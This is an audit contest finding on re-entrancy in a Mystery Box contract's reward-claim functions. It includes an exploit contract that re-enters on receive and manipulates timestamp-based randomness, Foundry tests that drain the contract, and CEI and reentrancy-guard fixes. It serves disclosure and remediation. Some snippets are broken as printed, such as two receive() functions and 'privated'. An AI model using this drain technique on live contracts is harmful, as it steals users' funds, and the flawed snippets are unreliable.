Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Potential Re-entrancy in both `MysteryBox::claimAllRewards` and `MysteryBox::claimSingleReward`

Summary

The MysteryBox::claimAllRewards and MysteryBox::claimSingleReward functions allow users to claim rewards from their mystery box items. However, these functions do not follow the Checks-Effects-Interactions (CEI) pattern, as they transfer ether to the user before updating the user's reward state. This opens up the possibility of re-entrancy attacks, where a malicious user can repeatedly invoke these functions to drain all funds from the contract.

Vulnerability Details

Proof of Concept:

  1. A malicious user deploys a smart contract that implements the receive function to reenter the claim functions.

  2. They buy a mystery box, open it to receive a reward (except for Coal).

  3. Using their contract, they call MysteryBox::claimSingleReward or MysteryBox::claimAllRewards and re-enter the function during the ether transfer to drain funds.

Proof of Code:

  • Vulnerable Functions:

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
  • Exploit Contract:

contract Hacker {
address mysteryBox;
uint256 index;
constructor(address _mysteryBox) {
mysteryBox = _mysteryBox;
}
function manipulateOpenBox() public returns (bool) {
uint256 randomValue = uint256(
keccak256(abi.encodePacked(block.timestamp, address(this)))
) % 100;
if (randomValue < 99) {
return false;
}
MysteryBox(mysteryBox).openBox();
return true;
}
function buyBox() public payable {
MysteryBox(mysteryBox).buyBox{value: msg.value}();
}
function openBox() public {
MysteryBox(mysteryBox).openBox();
}
function hackClaimSingleReward(uint256 _index) public {
index = _index;
MysteryBox(mysteryBox).claimSingleReward(_index);
}
function hackClaimAllReward() public {
MysteryBox(mysteryBox).claimAllRewards();
}
// For claimAllRewards()
receive() external payable {
if (mysteryBox.balance > 1 ether) {
MysteryBox(mysteryBox).claimAllRewards();
}
}
// For claimSingleReward()
receive() external payable {
if (mysteryBox.balance > 1 ether) {
MysteryBox(mysteryBox).claimSingleReward(index);
}
}
}
  • Testing:

function test_reentrancyClaimSingleReward() public {
vm.prank(owner);
mysteryBox = new MysteryBox{value: 10 ether}();
address maliciousUser = makeAddr("maliciousUser");
vm.deal(maliciousUser, 100 ether);
vm.startPrank(maliciousUser);
Hacker hacker = new Hacker(address(mysteryBox));
uint256 boxPrice = mysteryBox.boxPrice();
hacker.buyBox{value: boxPrice}();
// Randomness Manipulation - Gold Item - 0.5 ether value
uint256 count = 0;
for (uint256 i = 0; i < 100; i++) {
bool isSuccess = hacker.manipulateOpenBox();
if (isSuccess) {
count = i;
break;
}
vm.warp(block.timestamp + 1);
}
uint256 balanceAfterBuyBox = address(mysteryBox).balance;
// Drain all funds by reentrant
hacker.hackClaimSingleReward(0);
vm.stopPrank();
uint256 balanceAfterHack = address(mysteryBox).balance;
uint256 hackerBalance = address(hacker).balance;
assertEq(hackerBalance, balanceAfterBuyBox - balanceAfterHack);
assertEq(balanceAfterHack, 0.1 ether);
}
function test_reentrancyClaimAllReward() public {
vm.prank(owner);
uint256 initialBalance = 10 ether;
mysteryBox = new MysteryBox{value: initialBalance}();
address maliciousUser = makeAddr("maliciousUser");
vm.deal(maliciousUser, 100 ether);
vm.startPrank(maliciousUser);
Hacker hacker = new Hacker(address(mysteryBox));
uint256 boxPrice = mysteryBox.boxPrice();
hacker.buyBox{value: boxPrice}();
// Randomness Manipulation - Gold Item - 0.5 ether value
uint256 count = 0;
for (uint256 i = 0; i < 100; i++) {
bool isSuccess = hacker.manipulateOpenBox();
if (isSuccess) {
count = i;
break;
}
vm.warp(block.timestamp + 1);
}
uint256 balanceAfterBuyBox = address(mysteryBox).balance;
// Drain all funds by reentrant
hacker.hackClaimAllReward();
vm.stopPrank();
uint256 balanceAfterHack = address(mysteryBox).balance;
uint256 hackerBalance = address(hacker).balance;
assertEq(hackerBalance, balanceAfterBuyBox - balanceAfterHack);
assertEq(balanceAfterHack, 0.1 ether);
}

Impact

A malicious user could drain most of the funds in the contract by repeatedly exploiting the re-entrancy vulnerability. This could potentially lead to significant financial losses if not mitigated.

Tools Used

Manual Review

Recommendations

There are 2 solutions for this issues:

  1. Follow the CEI (Checks-Effects-Interactions) Pattern

Ensure that state changes (e.g., deleting user rewards) happen before interacting with external calls, as demonstrated below:

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
  1. Use a Reentrancy Guard

A simpler approach would be to add a nonReentrant modifier to prevent reentrancy attacks:

contract MysteryBox {
...
uint256 privated locked = 1;
modifier nonReentrant {
require(locked == 1, "Non reentrant!");
locked = 2;
_;
locked = 1;
}
...
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!